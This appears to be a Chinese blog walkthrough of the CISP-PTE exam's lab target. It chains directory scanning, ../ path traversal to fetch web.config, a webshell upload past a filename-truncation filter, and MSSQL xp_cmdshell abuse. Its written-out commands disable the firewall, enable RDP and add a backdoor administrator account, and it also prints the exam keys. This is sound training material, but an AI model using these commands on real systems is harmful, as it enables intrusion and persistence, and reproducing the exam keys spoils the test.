文章前言
CISP-PTE考试满分100分,包括20道选择题(每题1分),5道操作题(每个key10分),1道综合题(30分),本篇文章对其中的操作题进行实践操作
环境搭建
Step 1:解压靶机环境压缩包
Step 2:使用Vmware Workstation打开环境
登录密码:admin123
成功登录:
靶机攻防
信息收集
端口扫描
首先进行端口扫描确定开启那些服务:
-
1433:Sql Server 服务
-
27689:Web服务
之后发现一个文件上传与下载系统:
目录扫描
使用御剑扫描目录:
访问http://192.168.59.139:27689/robots.txt获取信息,之后查看到一个affix目录
之后访问http://192.168.59.139:27689/upfile/affix/提示列目录失败
之后访问http://192.168.59.139:27689/admin/file_down.aspx,发现缺少参数file
文件下载
之后构造参数file进行测试,从中可以获取当前web网络路径信息
之后尝试使用../向上回溯一层目录:
发现可以成功回溯一层目录,之后通过多次fuzz之后最终回溯两层目录到web根目录并下载web.config
之后从web.config中发现数据库账号密码信息:
连数据库
之后使用上面发现的数据库连接信息连接数据库
之后获取Web账号密码:admin/asdadwn_d2112
登录WEB
之后使用之前获取的账号密码登录WEB系统
之后我们成功获取到了第一个Key:4k3s9m3d
GetShell
之后通过文件上传功能上传Webshell
很遗憾的发现不允许上传,看来是有限制:
之后发现管理文件模块有一处提示:\\”文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名,请上传的文件名称不要过长,为您带来的不便,敬请谅解\\”
根据上面的提示以及实例我们可以将cisp-pte替换为我们新的webshell的名称,之后附加.aspx后缀进行上传:
之后连接webshell
之后在Web目录下找到Key2:
权限提升
之后通过Webshell查看当前用户的权限发现是普通用户权限
之后对C盘下Administrator文件夹内容进行访问发现拒绝访问,需要权限提升
之后通过浏览web目录发现历史web.config
进一步获取sa的账号密码信息,不得不说这为我们权限提升提供了最大的助力:
之后使用Navicate进行连接
之后通过执行SQL语句来查看权限,可以看到已然是system权限了,而这也是因为SQLServer默认是以system权限运行的,外加上sa权限导致我们可以直接获取到system权限:
use master;
exec master..xp_cmdshell \\\"whoami\\\";
关防火墙
下面我们要做的就是关闭防火墙开RDP了,在这里为了执行系统命令我们首先开启XP_cmdshell:
use master;
exec sp_configure \\\'show advanced options\\\',1;
reconfigure;
exec sp_configure \\\'xp_cmdshell\\\',1;
reconfigure;
之后关闭防火墙:
EXEC master.dbo.xp_cmdshell \\\'netsh firewall set opmode disable\\\'
开启RDP
下一步自然而然就是开启RDP进行远程链接了,命令如下:
exec master.dbo.xp_cmdshell \\\'reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0 /f\\\'
添加用户
为了实现RDP远程链接我们还需要创建一个用户账号并将其添加到管理员组:
exec master..xp_cmdshell \\\"net user test12 123.com /add\\\"
exec master..xp_cmdshell \\\"net localgroup administrators test12 /add\\\"
exec master..xp_cmdshell \\\"net user test12\\\"
远程连接
之后使用之前创建的账号进行远程链接操作:
之后我们在桌面成功获取到Key:
文末小结
本篇文章以CISP-PTE靶机作为演示实例进行了渗透测试,其中尤为突出信息收集的重要性以及灵活运用MSSQL进行权限提升的技巧,综合来看是一个不错的实践性靶机
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34356.html